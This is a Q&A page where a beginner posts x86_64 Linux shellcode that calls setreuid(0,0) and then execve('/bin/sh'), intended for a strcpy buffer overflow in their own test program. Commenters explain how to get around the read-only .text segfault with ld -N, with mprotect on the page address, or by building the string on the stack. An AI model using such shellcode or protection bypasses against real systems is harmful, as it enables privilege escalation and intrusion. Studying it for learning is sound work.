3

I'm trying to write a shellcode to play with a strcpy vulnerability, trying to understand a bit more about how that stuff works.

So far i've managed to inject a sort of "hello world" written in assembly in my vulnerable program and i got that working.

Now i'm trying to get the next step, which is to spawn a shell in my ASM code, rather than just printing a meme sentence.

I have the following ASM code, which is basically Linux example 3 from here updated for my x86_64 machine:

          ;; ASM Hello World x86_64 Linux
          global _start
          section .text
  _start:

          ;; setreuid syscall
          xor rax, rax            ; rax = syscall id
          xor rdi, rdi            ; rdi is arg0. = 0 for root priv
          xor rsi, rsi            ; rsi is arg1. = 0 for root priv
          mov al, 113             ; setreuid is syscall 113
          syscall                 ; call setreuid to get root priv if possible

          jmp short ender
        
  payload:
        
          ;;  execve syscall

          pop rdx                 ; get the string address
          xor rax, rax
          mov [rdx+7], al       ; put a null where the N is
          mov [rdx+8], rdx      ; put the address of the string where AAAAAAA is
          mov [rdx+16], rax     ; put a bunch of NULLs where the BBBBBBBB is
          mov rdi, rdx
          lea rsi, [rdx+8]
          lea rdx, [rdx+16]
          mov al, 59              ; execve is syscall 59
          syscall
        
  ender:
          call payload
          db '/bin/shNAAAAAAAABBBBBBBB'

As a first step i try to run this on its own, unrelated to the buffer overflow vulnerability in the C program. When i do so, i get a segfault at mov [rdx+7], al.

I'm thinking this might be because of the Write XOR Execute security mechanism, that prevents me from writing over executable memory, but since i'm definitely a beginner here, can someone confirm that's what's happening, as opposed to the code being wrong ?

If indeed i am blocked by the security mechanism, Can i bypass that with a call to mrotect to set my memory page as writeable AND executable?

From the mprotect documentation, i understand i need to provide the first address of my memory page, could i get some help on how to get this value in my asm code ?

I did see this other question that seems highly related and might confirm the write/exec mechanism is my first problem. It also contains a call to mprotect, but if i understand correctly they use a harcoded value of 0xff for the address of their memory page, which i don't understand.

Thanks a lot, o7

4
  • 2
    For the standalone case, you can just use ld -N to have writable .text. Commented Feb 15, 2024 at 19:01
  • 1
    Another alternative used to be to put your code+data in .data and make it executable, but that's less convenient especially these days when ld -z execstack doesn't use READ_IMPLIES_EXEC to make everything executable. And tools like GDB are less convenient for single-stepping the asm in disassembly mode when it's not in the .text section. Commented Feb 15, 2024 at 19:42
  • 2
    To make an mprotect system call, you get the address of the page containing _start with lea rdi, [rel _start] / and rdi, -4096. This is x86-64 so you have RIP-relative LEA. Or just mov edi, _start in a non-PIE. How to load address of function or label into register / Reading program counter directly Commented Feb 15, 2024 at 19:43
  • Yes, .text sections are read only. You could use mprotect but it's not clear why you should. Just make the string on the stack at runtime. You can pad it by adding superfluous / in the path and you can push a zero by zeroing a register. Commented Feb 18, 2024 at 12:44

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.